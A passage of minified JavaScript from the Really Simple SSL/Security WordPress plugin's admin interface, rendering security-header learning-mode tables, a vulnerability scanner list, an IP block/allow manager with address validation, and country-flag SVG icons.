rsssl-learning-mode-delete",onClick:()=>l(e.item,e.field.id)},(0,c.__)("Delete","really-simple-ssl"))},I=e=>{const{updateField:l,getFieldValue:a,getField:n,setChangedField:r,highLightField:d,saveFields:o}=(0,m.A)(),{fetchLearningModeData:h,learningModeData:v,dataLoaded:u,updateStatus:_,deleteData:f}=B(),[g,E]=(0,p.useState)(0),[Z,y]=(0,p.useState)(0),[w,k]=(0,p.useState)(0),[R,M]=(0,p.useState)(0),[F,b]=(0,p.useState)(!1),[C,V]=(0,p.useState)(0),[S,A]=(0,p.useState)(-1),[U,x]=(0,p.useState)(!1),[T,D]=(0,p.useState)([]),[L,N]=(0,p.useState)(!1),[O,I]=(0,p.useState)(null),[G,K]=(0,p.useState)(null);(0,p.useEffect)((()=>{Promise.resolve().then(t.bind(t,3757)).then((({default:e,createTheme:l})=>{I((()=>e)),K((()=>l("really-simple-plugins",{divider:{default:"transparent"}},"light")))}))}),[]),(0,p.useEffect)((()=>{(async()=>{await h(e.field.id);let l=n(e.field.control_field),t="enforced-by-thirdparty"===l.value,s=t||"enforce"===l.value;x(l),E(t),M("completed"===l.value),b("error"===l.value),V(a(e.field.control_field+"_lm_enabled_once")),y(s),k("learning_mode"===l.value)})()}),[Z,w]);const W=async(e,t)=>{e.preventDefault();let a=1==t?"enforce":"disabled";y(t),M(0),k(0),r(U.id,a),l(U.id,a),await o(!0,!1)},j=async t=>{t.preventDefault();let a,s=n(e.field.control_field+"_lm_enabled_once");w&&(V(1),l(s.id,1)),w||R?(k(0),a="disabled"):(k(1),a="learning_mode"),M(0),r(U.id,a),l(U.id,a),r(s.id,s.value),l(s,s.value),await o(!0,!1)};let q=e.field,Y=(0,c.__)(" The %s is now in report-only mode and will collect directives. This might take a while. Afterwards you can Exit, Edit and Enforce these Directives.","really-simple-ssl").replace("%s",q.label),J=(0,c.__)("%s has been disabled.","really-simple-ssl").replace("%s",q.label),$=(0,c.__)("%s is enforced.","really-simple-ssl").replace("%s",q.label),Q=!C;g&&(J=(0,c.__)("%s is already set outside Really Simple Security.","really-simple-ssl").replace("%s",q.label));let X="rsssl-field-wrap";e.field.id;let ee=[];q.columns.forEach((function(e,l){let t={name:e.name,sortable:e.sortable,width:e.width,selector:"documenturi"===e.column||"method"===e.column?l=>(0,s.createElement)("span",{title:l[e.column]},l[e.column]):l=>l[e.column]};ee.push(t)}));let le=v;le=le.filter((e=>e.status<2)),-1!=S&&(le=le.filter((e=>e.status==S)));for(const l of le)l.login_status&&(l.login_statusControl=1==l.login_status?(0,c.__)("success","really-simple-ssl"):(0,c.__)("failed","really-simple-ssl")),l.statusControl=(0,s.createElement)(z,{item:l,field:e.field}),l.deleteControl=(0,s.createElement)(P,{item:l,field:e.field}),l.grouped=(0,s.createElement)("div",{className:"rsssl-action-buttons"},(0,s.createElement)(z,{item:l,field:e.field}),(0,s.createElement)(P,{item:l,field:e.field}));const te=(e,l,t)=>{l.forEach((l=>{_(e,l,t)})),N(!0),D([]),setTimeout((()=>N(!1)),0)};return O&&G?(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",null,!u&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-learningmode-placeholder"},(0,s.createElement)("div",null),(0,s.createElement)("div",null),(0,s.createElement)("div",null),(0,s.createElement)("div",null))),T.length>0&&(0,s.createElement)("div",{style:{marginTop:"1em",marginBottom:"1em"}},(0,s.createElement)("div",{className:"rsssl-multiselect-datatable-form rsssl-primary"},(0,s.createElement)("div",null,(0,c.__)("You have selected","really-simple-ssl")," ",T.length," ",(0,c.__)("rows","really-simple-ssl")),(0,s.createElement)("div",{className:"rsssl-action-buttons"},(-1===Number(S)||0===Number(S))&&(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)(i.Button,{className:"button button-secondary rsssl-status-allowed rsssl-action-buttons__button",onClick:()=>te(0,T,e.field.id)},(0,c.__)("Allow","really-simple-ssl"))),(-1===Number(S)||1===Number(S))&&(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)(i.Button,{className:"button button-primary rsssl-action-buttons__button",onClick:()=>te(1,T,e.field.id)},(0,c.__)("Revoke","really-simple-ssl"))),(0,s.createElement)("div",{className:"rsssl-action-buttons__inner"},(0,s.createElement)(i.Button,{className:"button button-red rsssl-action-buttons__button",onClick:()=>{return l=T,t=e.field.id,l.forEach((e=>{f(e,t)})),N(!0),D([]),void setTimeout((()=>N(!1)),0);var l,t}},(0,c.__)("Remove","really-simple-ssl")))))),u&&(0,s.createElement)(s.Fragment,null,(0,s.createElement)(O,{columns:ee,data:le,dense:!0,pagination:!0,noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,theme:G,customStyles:{headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}},conditionalRowStyles:[{when:e=>0==e.status,classNames:["rsssl-datatables-revoked"]}],paginationComponentOptions:{rowsPerPageText:(0,c.__)("Rows per page:","really-simple-ssl"),rangeSeparatorText:(0,c.__)("of","really-simple-ssl"),noRowsPerPage:!1,selectAllRowsItem:!1,selectAllRowsItemText:(0,c.__)("All","really-simple-ssl")},selectableRows:!0,selectableRowsHighlight:!0,onSelectedRowsChange:function(e){N(!1),D(e.selectedRows)},clearSelectedRows:L})),(0,s.createElement)("div",{className:"rsssl-learning-mode-footer "},F&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-learning-mode-error"},(0,c.__)("Error detected","really-simple-ssl")),(0,c.__)("%s cannot be implemented due to server limitations. Check your notices for the detected issue.","really-simple-ssl").replace("%s",q.label)," ",(0,s.createElement)("a",{className:"rsssl-learning-mode-link",href:"#",onClick:e=>W(e,!1)},(0,c.__)("Disable","really-simple-ssl")))),!F&&(0,s.createElement)(s.Fragment,null,1!=Z&&(0,s.createElement)("button",{disabled:Q,className:"button button-primary",onClick:e=>W(e,!0)},(0,c.__)("Enforce","really-simple-ssl")),!g&&1==Z&&(0,s.createElement)("button",{className:"button",onClick:e=>W(e,!1)},(0,c.__)("Disable","really-simple-ssl")),(0,s.createElement)("label",null,(0,s.createElement)("input",{type:"checkbox",disabled:Z,checked:1==w,value:w,onChange:e=>j(e)}),(0,c.__)("Enable Learning Mode to configure automatically","really-simple-ssl")),1==Z&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-shield-overlay"},(0,s.createElement)(H.default,{name:"shield",size:"80px"})),(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-learning-mode-enforced"},(0,c.__)("Enforced","really-simple-ssl")),$," ",(0,s.createElement)("a",{className:"rsssl-learning-mode-link",href:"#",onClick:e=>W(e)},(0,c.__)("Disable to configure","really-simple-ssl")))),1==w&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-learning-mode"},(0,c.__)("Learning Mode","really-simple-ssl")),Y," ",(0,s.createElement)("a",{className:"rsssl-learning-mode-link",href:"#",onClick:e=>j(e)},(0,c.__)("Exit","really-simple-ssl")))),1==R&&(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-learning-mode-completed"},(0,c.__)("Learning Mode","really-simple-ssl")),(0,c.__)("We finished the configuration.","really-simple-ssl")," ",(0,s.createElement)("a",{className:"rsssl-learning-mode-link",href:"#",onClick:e=>j(e)},(0,c.__)("Review the settings and enforce the policy","really-simple-ssl")))),rsssl_settings.pro_plugin_active&&e.disabled&&(0,s.createElement)("div",{className:"rsssl-locked "},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},!g&&(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-disabled"},(0,c.__)("Disabled","really-simple-ssl")),g&&(0,s.createElement)("span",{className:"rsssl-progress-status rsssl-learning-mode-enforced"},(0,c.__)("Enforced","really-simple-ssl")),J))),(0,s.createElement)((()=>(0,s.createElement)(s.Fragment,null,(0,s.createElement)("select",{onChange:e=>A(e.target.value),value:S},(0,s.createElement)("option",{value:"-1"},(0,c.__)("All","really-simple-ssl")),(0,s.createElement)("option",{value:"1"},(0,c.__)("Allowed","really-simple-ssl")),(0,s.createElement)("option",{value:"0"},(0,c.__)("Blocked","really-simple-ssl"))))),null)))):null};var G=t(4449);const K=e=>{const{riskData:l,dummyRiskData:a,processing:n,dataLoaded:i,fetchVulnerabilities:r,updateRiskData:d}=(0,G.A)(),{fields:o,fieldAlreadyEnabled:h,getFieldValue:v,setChangedField:u,updateField:_,saveFields:f}=(0,m.A)(),[g,E]=(0,p.useState)(!1),[Z,y]=(0,p.useState)(!1),[w,k]=(0,p.useState)(null),[R,M]=(0,p.useState)(null);(0,p.useEffect)((()=>{Promise.resolve().then(t.bind(t,3757)).then((({default:e,createTheme:l})=>{k((()=>e)),M((()=>l("really-simple-plugins",{divider:{default:"transparent"}},"light")))}))}),[]),(0,p.useEffect)((()=>{h("enable_vulnerability_scanner")&&(i||r());let e=h("enable_vulnerability_scanner");y(e);let l=1==v("measures_enabled");E(l)}),[o]),(0,p.useEffect)((()=>{let e=1==v("measures_enabled");E(e)}),[]);let F=[];e.field.columns.forEach((function(e,l){let t={name:(a=e).name,sortable:a.sortable,width:a.width,selector:e=>e[a.column],grow:a.grow};var a;F.push(t)}));let b=e.field.options;b=Object.entries(b).map((e=>({label:e[1],value:e[0]})));let C=Array.isArray(l)?[...l]:[];C=0===C.length?[...a]:C;let H=!Z||!g;for(const e in C){let l={...C[e]};l.riskSelection=(0,s.createElement)("select",{disabled:n||H,value:l.value,onChange:e=>{return t=e.target.value,void d(l.id,t);var t}},b.map(((e,t)=>(0,s.createElement)("option",{key:"risk-"+t,value:e.value,disabled:l.disabledRiskLevels&&l.disabledRiskLevels.includes(e.value)},e.label)))),C[e]=l}return(0,s.createElement)("div",null,w&&(0,s.createElement)(w,{columns:F,data:Object.values(C),dense:!0,pagination:!1,persistTableHead:!0,noDataComponent:(0,c.__)("No vulnerabilities found","really-simple-ssl"),theme:R}))};var W=t(3757),j=t(2828),q=t(6535);(0,U.vt)(((e,l)=>({showIntro:!1,setShowIntro:l=>e({showIntro:l}),disabled:!0,introCompleted:!1,setIntroCompleted:l=>{e({introCompleted:l})},setDisabled(l){e((e=>({disabled:l})))},list:[{id:"initialize",icon:"loading",color:"black",text:(0,c.__)("Preparing vulnerability detection","really-simple-ssl")},{id:"fetchVulnerabilities",icon:"loading",color:"black",text:(0,c.__)("Collecting plugin, theme and core data","really-simple-ssl")},{id:"scan",icon:"loading",color:"black",text:(0,c.__)("Scanning your WordPress configuration","really-simple-ssl")},{id:"enabled",icon:"loading",color:"black",text:(0,c.__)("Reporting enabled","really-simple-ssl")}],setItemCompleted:async t=>{const a=l().list.findIndex((e=>e.id===t));e((0,q.jM)((e=>{const l=e.list[a];l.icon="circle-check",l.color="green",e.list[a]=l})))}})));const Y=e=>{const{getProgressData:l}=(0,j.A)(),[t,a]=(0,p.useState)(!1),{dataLoaded:n,vulList:i,fetchVulnerabilities:r,setDataLoaded:d,fetchFirstRun:o}=(0,G.A)(),{getFieldValue:h,handleNextButtonDisabled:v,fieldAlreadyEnabled:u,fieldsLoaded:_}=(0,m.A)(),[f,g]=(0,p.useState)("");let E=[],Z=e.field;const y={headCells:{style:{paddingLeft:"0",paddingRight:"0"}},cells:{style:{paddingLeft:"0",paddingRight:"0"}}};(0,W.createTheme)("really-simple-plugins",{divider:{default:"transparent"}},"light"),(0,p.useEffect)((()=>{_&&a(1==h("enable_vulnerability_scanner"))}),[h("enable_vulnerability_scanner")]),Z.columns.forEach((function(e,l){let t={name:(a=e).name,sortable:a.sortable,visible:a.visible,selector:e=>e[a.column],searchable:a.searchable,grow:a.grow,width:a.width};var a;E.push(t)})),(0,p.useEffect)((()=>{u("enable_vulnerability_scanner")&&d(!1)}),[h("enable_vulnerability_scanner")]),(0,p.useEffect)((()=>{n||u("enable_vulnerability_scanner")&&w()}),[n]);const w=async()=>{await o(),await r(),await l()};let k=i.map((e=>({...e,risk_name:(0,s.createElement)("span",{className:"rsssl-badge-large rsp-risk-level-"+e.risk_level},e.risk_name.charAt(0).toUpperCase()+e.risk_name.slice(1).replace("-risk",""))})));return f.length>0&&(k=k.filter((function(e){if(e.Name.toLowerCase().includes(f.toLowerCase()))return e}))),(0,s.createElement)("div",{style:{marginTop:"5px"}},t?(0,s.createElement)(s.Fragment,null,(0,s.createElement)("div",{className:"rsssl-container"},(0,s.createElement)("div",{className:"rsssl-search-bar"},(0,s.createElement)("div",{className:"rsssl-search-bar__inner"},(0,s.createElement)("div",{className:"rsssl-search-bar__icon"}),(0,s.createElement)("input",{type:"text",className:"rsssl-search-bar__input",placeholder:(0,c.__)("Search","really-simple-ssl"),onKeyUp:e=>{g(e.target.value)}})))),(0,s.createElement)(W.default,{columns:E,data:k,dense:!0,pagination:!0,persistTableHead:!0,noDataComponent:(0,c.__)("No vulnerabilities found","really-simple-ssl"),theme:"really-simple-plugins",customStyles:y})):(0,s.createElement)(s.Fragment,null,(0,s.createElement)(W.default,{columns:E,data:[["","","","",""],["","","","",""],["","","","",""]],dense:!0,pagination:!0,noDataComponent:(0,c.__)("No results","really-simple-ssl"),persistTableHead:!0,theme:"really-simple-plugins",customStyles:y}),(0,s.createElement)("div",{className:"rsssl-locked"},(0,s.createElement)("div",{className:"rsssl-locked-overlay"},(0,s.createElement)("span",{className:"rsssl-task-status rsssl-open"},(0,c.__)("Disabled","really-simple-ssl")),(0,s.createElement)("span",null,(0,c.__)("Activate vulnerability detection to enable this block.","really-simple-ssl"))))))},J=(0,U.vt)(((e,l)=>({processing:!1,dataLoaded:!1,ipAddress:"",highestIP:"",lowestIP:"",statusSelected:"blocked",inputRangeValidated:!1,cidr:"",ip_count:"",canSetCidr:!1,ipRange:{},idSelected:"",pagination:{},dataActions:{},IpDataTable:[],maskError:!1,rowCleared:!1,setMaskError:l=>{e({maskError:l})},fetchData:async(l,t)=>{if(e({processing:!0}),e({dataLoaded:!1}),e({rowCleared:!0}),0!==Object.keys(t).length)try{const a=await f.Eo(l,t);a&&e({IpDataTable:a,dataLoaded:!0,processing:!1,pagination:a.pagination})}catch(e){console.log(e)}finally{e({processing:!1}),e({rowCleared:!1})}},handleIpTableSearch:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,search:l,searchColumns:t}})))},handleIpTablePageChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,page:l,pageSize:t}})))},handleIpTableRowsChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,currentRowsPerPage:l,currentPage:t}})))},handleIpTableSort:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,sortColumn:l,sortDirection:t}})))},handleIpTableFilter:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,filterColumn:l,filterValue:t}})))},setIpAddress:l=>{if(0===l.length)return;let t=/^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$|^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,4}|((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9])?[0-9]))$/;if(l.includes("/")){let a="",[s,n]=l.split("/");s=s.replace(/,/g,"."),n.length<=0?(t.test(s)?e({maskError:!1}):e({maskError:!0}),a=`${s}/${n}`):a=n?`${s}/${n}`:s,e({ipAddress:a})}else t.test(l)?e({maskError:!1}):e({maskError:!0}),e({ipAddress:l.replace(/,/g,".")})},resetRange:()=>{e({inputRangeValidated:!1}),e({highestIP:""}),e({lowestIP:""}),e({ipAddress:""}),e({maskError:!1})},setStatusSelected:l=>{e({statusSelected:l})},setId:l=>{e({idSelected:l})},updateRow:async(t,a,s)=>{e({processing:!0});let n={value:t,status:a};try{const e=await f.Eo("ip_update_row",n);return e&&e.request_success?(await l().fetchData("rsssl_limit_login",s),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to add ip",response:e}}catch(e){return{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},validateIpv4:e=>{const l=e.split(".");if(4!==l.length)return!1;for(let e of l){const l=parseInt(e,10);if(isNaN(l)||l<0||l>255)return!1}return!0},validateIpv6:e=>{const l=e.split(":");if(8!==l.length)return!1;for(let e of l)if(e.length>4||!/^[0-9a-fA-F]+$/.test(e))return!1;return!0},extendIpV6:e=>{if("::"===e&&(e="0::0"),e.includes("::")){const l=e.split("::");if(l.length>2)return!1;const t=l[0].split(":").filter(Boolean),a=l[1].split(":").filter(Boolean),s=8-(t.length+a.length);return[...t,...Array(s).fill("0"),...a].join(":")}return e},ipToNumber:e=>l().validateIpv4(e)?l().ipV4ToNumber(e):l().validateIpv6(l().extendIpV6(e))?l().ipV6ToNumber(l().extendIpV6(e)):void 0,ipV4ToNumber:e=>e.split(".").reduce(((e,l)=>256*e+parseInt(l,10)>>>0),0),ipV6ToNumber:e=>e.split(":").reduce(((e,l)=>{const t=parseInt(l,16);return isNaN(t)?(console.warn(`Invalid segment in IPv6 address: ${oldIp}`),e):(e<<BigInt(16))+BigInt(t)}),BigInt(0)),validateIpRange:(t,a)=>{e({inputRangeValidated:!1});let s="",n="";if(t&&a)if(l().validateIpv4(t)&&l().validateIpv4(a)){if(l().ipToNumber(t)>l().ipToNumber(a))return console.warn("lowest is higher than highest"),void e({inputRangeValidated:!1});s=t,n=a,e({inputRangeValidated:!0})}else if(l().validateIpv6(l().extendIpV6(t))&&l().validateIpv6(l().extendIpV6(a))){if(l().ipToNumber(l().extendIpV6(t))>l().ipToNumber(l().extendIpV6(a)))return console.warn("lowest is higher than highest"),void e({inputRangeValidated:!1});s=l().extendIpV6(t),n=l().extendIpV6(a),e({inputRangeValidated:!0})}l().inputRangeValidated&&(e({ipRange:{lowest:s,highest:n}}),l().fetchCidrData("get_mask_from_range"))},fetchCidrData:async t=>{try{const a=await f.Eo(t,l().ipRange);a&&e({cidr:a.cidr,ipAddress:a.cidr,ip_count:a.ip_count,canSetCidr:!0})}catch(e){console.log(e)}},resetRow:async(t,a)=>{e({processing:!0});try{const e=await f.Eo("delete_entries",{id:t});return e&&e.success?(await l().fetchData("rsssl_limit_login",a),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to reset ip",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}},resetMultiRow:async(t,a)=>{e({processing:!0});try{const e=await f.Eo("delete_entries",{ids:t});if(e&&e.success)return e.success?(await l().fetchData("rsssl_limit_login",a),{success:!0,message:e.message,response:e}):{success:!1,message:e?.message||"Failed to reset ip",response:e}}catch(e){return console.error(e),{success:!1,message:"Error occurred",error:e}}finally{e({processing:!1})}}}))),$=(0,U.vt)(((e,l)=>({processing:!1,dataLoaded:!1,pagination:{},dataActions:{},DynamicDataTable:[],sorting:[],rowCleared:!1,fetchDynamicData:async(t,a,s={})=>{e({processing:!0}),e({dataLoaded:!1}),e({rowCleared:!0}),0===Object.keys(s).length&&(s=l().dataActions),s={...s,event_type:a};try{const l=await f.Eo(t,s);l&&e({DynamicDataTable:l,dataLoaded:!0,processing:!1,pagination:l.pagination,sorting:l.sorting})}catch(e){console.log(e)}finally{e({processing:!1}),e({rowCleared:!1})}},handleEventTableSearch:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,search:l,searchColumns:t}})))},handleEventTablePageChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,page:l,pageSize:t}})))},handleEventTableRowsChange:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,currentRowsPerPage:l,currentPage:t}})))},handleEventTableSort:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,sortColumn:l,sortDirection:t}})))},handleEventTableFilter:async(l,t)=>{e((0,q.jM)((e=>{e.dataActions={...e.dataActions,filterColumn:l,filterValue:t}})))}})));var Q=t(2480);const X=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"US_-_United_States_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#US_-_United_States_svg__a)"},(0,s.createElement)("path",{fill:"#E31D1C",fillRule:"evenodd",d:"M0 0h16v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"M0 1v1h16V1H0Zm0 2v1h16V3H0Zm0 3V5h16v1H0Zm0 1v1h16V7H0Zm0 3V9h16v1H0Zm0 2v-1h16v1H0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#2E42A5",d:"M0 0h9v7H0z"}),(0,s.createElement)("path",{fill:"#F7FCFF",fillRule:"evenodd",d:"m1.04 2.174.53-.37.411.297h-.233l.471.416-.159.584h-.249l-.242-.536-.206.536H.748l.471.416-.179.657.53-.37.411.297h-.233l.471.416-.159.584h-.249l-.242-.536-.206.536H.748l.471.416-.179.657.53-.37.513.37-.16-.657.412-.416h-.19l.425-.296.411.296h-.233l.471.416-.179.657.53-.37.513.37-.16-.657.412-.416h-.19l.425-.296.411.296h-.233l.471.416-.179.657.53-.37.513.37-.16-.657.412-.416h-.19l.425-.296.411.296h-.233l.471.416-.179.657.53-.37.513.37-.16-.657.412-.416h-.524l-.242-.536-.206.536h-.298l-.142-.584.412-.416h-.19l.425-.296.513.369-.16-.657.412-.416h-.524l-.242-.536-.206.536h-.298l-.142-.584.412-.416h-.19l.425-.296.513.369-.16-.657.412-.416h-.524L7.569.565l-.206.536h-.615l.471.416-.159.584h-.249l-.242-.536-.206.536h-.298l-.142-.584.412-.416h-.524L5.569.565l-.206.536h-.615l.471.416-.159.584h-.249l-.242-.536-.206.536h-.298l-.142-.584.412-.416h-.524L3.569.565l-.206.536h-.615l.471.416-.159.584h-.249l-.242-.536-.206.536h-.298l-.142-.584.412-.416h-.524L1.569.565l-.206.536H.748l.471.416-.179.657ZM7.06 4.1l.159-.584-.47-.416h.232l-.411-.296-.425.296h.19l-.412.416.142.584h.298l.206-.536.242.536h.249Zm-1.079 0-.411-.296-.425.296h.19l-.412.416.142.584h.298l.206-.536.242.536h.249l.159-.584-.47-.416h.232Zm-1.762.416L4.06 5.1h-.249l-.242-.536-.206.536h-.298l-.142-.584.412-.416h-.19l.425-.296.411.296h-.233l.471.416Zm.144-.416h-.298l-.142-.584.412-.416h-.19l.425-.296.411.296h-.233l.471.416-.159.584h-.249l-.242-.536-.206.536Zm-1.303 0 .159-.584-.47-.416h.232l-.411-.296-.425.296h.19l-.412.416.142.584h.298l.206-.536.242.536h.249Zm3.159-1.584L6.06 3.1h-.249l-.242-.536-.206.536h-.298l-.142-.584.412-.416h-.19l.425-.296.411.296h-.233l.471.416ZM3.981 2.1l-.411-.296-.425.296h.19l-.412.416.142.584h.298l.206-.536.242.536h.249l.159-.584-.47-.416h.232Z",clipRule:"evenodd"}))),ee=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"CA_-_Canada_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{fillRule:"evenodd",clipRule:"evenodd",mask:"url(#CA_-_Canada_svg__a)"},(0,s.createElement)("path",{fill:"#F7FCFF",d:"M4 0h8.5v12H4V0Z"}),(0,s.createElement)("path",{fill:"#E31D1C",d:"M7.164 4.201 7.987 3 8 10h-.343l.21-1.732s-2.305.423-2.115.21c.191-.214.3-.606.3-.606L4 6.474s.324-.004.587-.164c.264-.16-.263-1.109-.263-1.109l1.036.154.392-.435.782.836h.352l-.352-1.914.63.36ZM8 10V3l.836 1.201.63-.359-.352 1.914h.352l.782-.836.392.435 1.036-.154s-.527.949-.263 1.109c.263.16.587.164.587.164L9.947 7.872s.11.392.3.606c.191.213-2.115-.21-2.115-.21L8.342 10H8ZM12 0h4v12h-4V0ZM0 0h4v12H0V0Z"}))),le=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"MX_-_Mexico_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#MX_-_Mexico_svg__a)"},(0,s.createElement)("path",{fill:"#D9071E",fillRule:"evenodd",d:"M11 0h5v12h-5V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#006923",fillRule:"evenodd",d:"M0 0h6v12H0V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#fff",fillRule:"evenodd",d:"M5 0h6v12H5V0Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#FCCA3D",fillRule:"evenodd",d:"M7.192 3.957s-.343.266-.279.55c.064.284.74 0 .66-.275-.083-.275-.38-.275-.38-.275Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#A8AC71",fillRule:"evenodd",d:"M6.668 4.634c-.257 0-.364-.214-.311-.442.028-.121.102-.276.222-.476l.43.257a2.861 2.861 0 0 0-.11.198.96.96 0 0 1 .25.113c.234.154.32.428.07.631-.05.04-.128.173-.171.302.12.007.204.025.283.071.221.13.2.37.032.553-.12.13-.278.237-.429.29-.25.091-.516.057-.516-.263v-.002c0-.013-.002-.036.11-.038h.022-.022c-.19-.003-.231-.104-.255-.283a1.853 1.853 0 0 1-.012-.182l-.002-.06-.002-.06-.001-.013c-.004-.058-.007-.097.123-.097h-.29v-.5h.29c.164 0 .255.055.307.17.03-.052.06-.101.094-.145a.386.386 0 0 0-.112-.024Zm.318.878.008-.008-.002.004-.006.004Zm-.218.149Zm0-.189v.008-.015.007Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#8F4620",fillRule:"evenodd",d:"M9.633 6.201s.463-1.37-.272-2.08c-.736-.71-1.585-.662-1.585-.662s-.245.182 0 .32c.245.14.142.272.142.272s-.41-.416-.682-.173c-.272.243.254.206.199.39-.056.182-.292.995.053 1.405.344.41-.326.321-.19.321.137 0 .62.096.62 0 0-.095.168.371.312.371s.255-.164.255-.164.201.164.324.164.552-.107.552-.107l-.81-.682s.049-.301-.066-.366.92.577 1.002.784c.08.207.146.207.146.207Z",clipRule:"evenodd"}),(0,s.createElement)("path",{fill:"#9FAB2F",d:"M5.533 5.863s.075-.239.156-.256c.07-.014.216.115.216.115.26 1.445.889 2.01 1.933 2.01 1.055 0 1.695-.43 2.069-1.762 0 0 .198-.203.268-.18.077.024.172.292.172.292-.095 1.559-1.22 2.482-2.492 2.482-1.284 0-2.333-1.035-2.322-2.7Z"}),(0,s.createElement)("path",{fill:"#2FC2DC",fillRule:"evenodd",d:"M6.667 6.828s1.502.319 2.095.319c.593 0-.52.484-.954.484-.435 0-1.14-.803-1.14-.803Z",clipRule:"evenodd"}),(0,s.createElement)("rect",{width:1,height:.536,x:7.333,y:7.05,fill:"#F9AA51",rx:.083}),(0,s.createElement)("path",{fill:"#259485",d:"m6.088 6.068.41-.287c.532.76 1.328 1.009 2.443.748l.114.487c-1.303.305-2.31-.01-2.967-.948Z"}),(0,s.createElement)("path",{fill:"#FCCA3D",fillRule:"evenodd",d:"M8.296 6.175s-.607.32-.405.32c.202 0 .994.16.84 0-.154-.16-.435-.32-.435-.32ZM7.578 5.794s-.115-.333-.355-.333-.172.273-.288.273c-.115 0 .108.193.207.193.1 0 .436-.133.436-.133Z",clipRule:"evenodd"}))),te=e=>(0,s.createElement)("svg",{xmlns:"http://www.w3.org/2000/svg",width:16,height:12,fill:"none",...e},(0,s.createElement)("mask",{id:"BR_-_Brazil_svg__a",width:16,height:12,x:0,y:0,maskUnits:"userSpaceOnUse",style:{maskType:"luminance"}},(0,s.createElement)("path",{fill:"#fff",d:"M0 0h16v12H0z"})),(0,s.createElement)("g",{mask:"url(#BR_-_Brazil_svg__a)"},(0,s.createElement)("path",{fill:"#093",fillRule:"evenodd",d:"M0 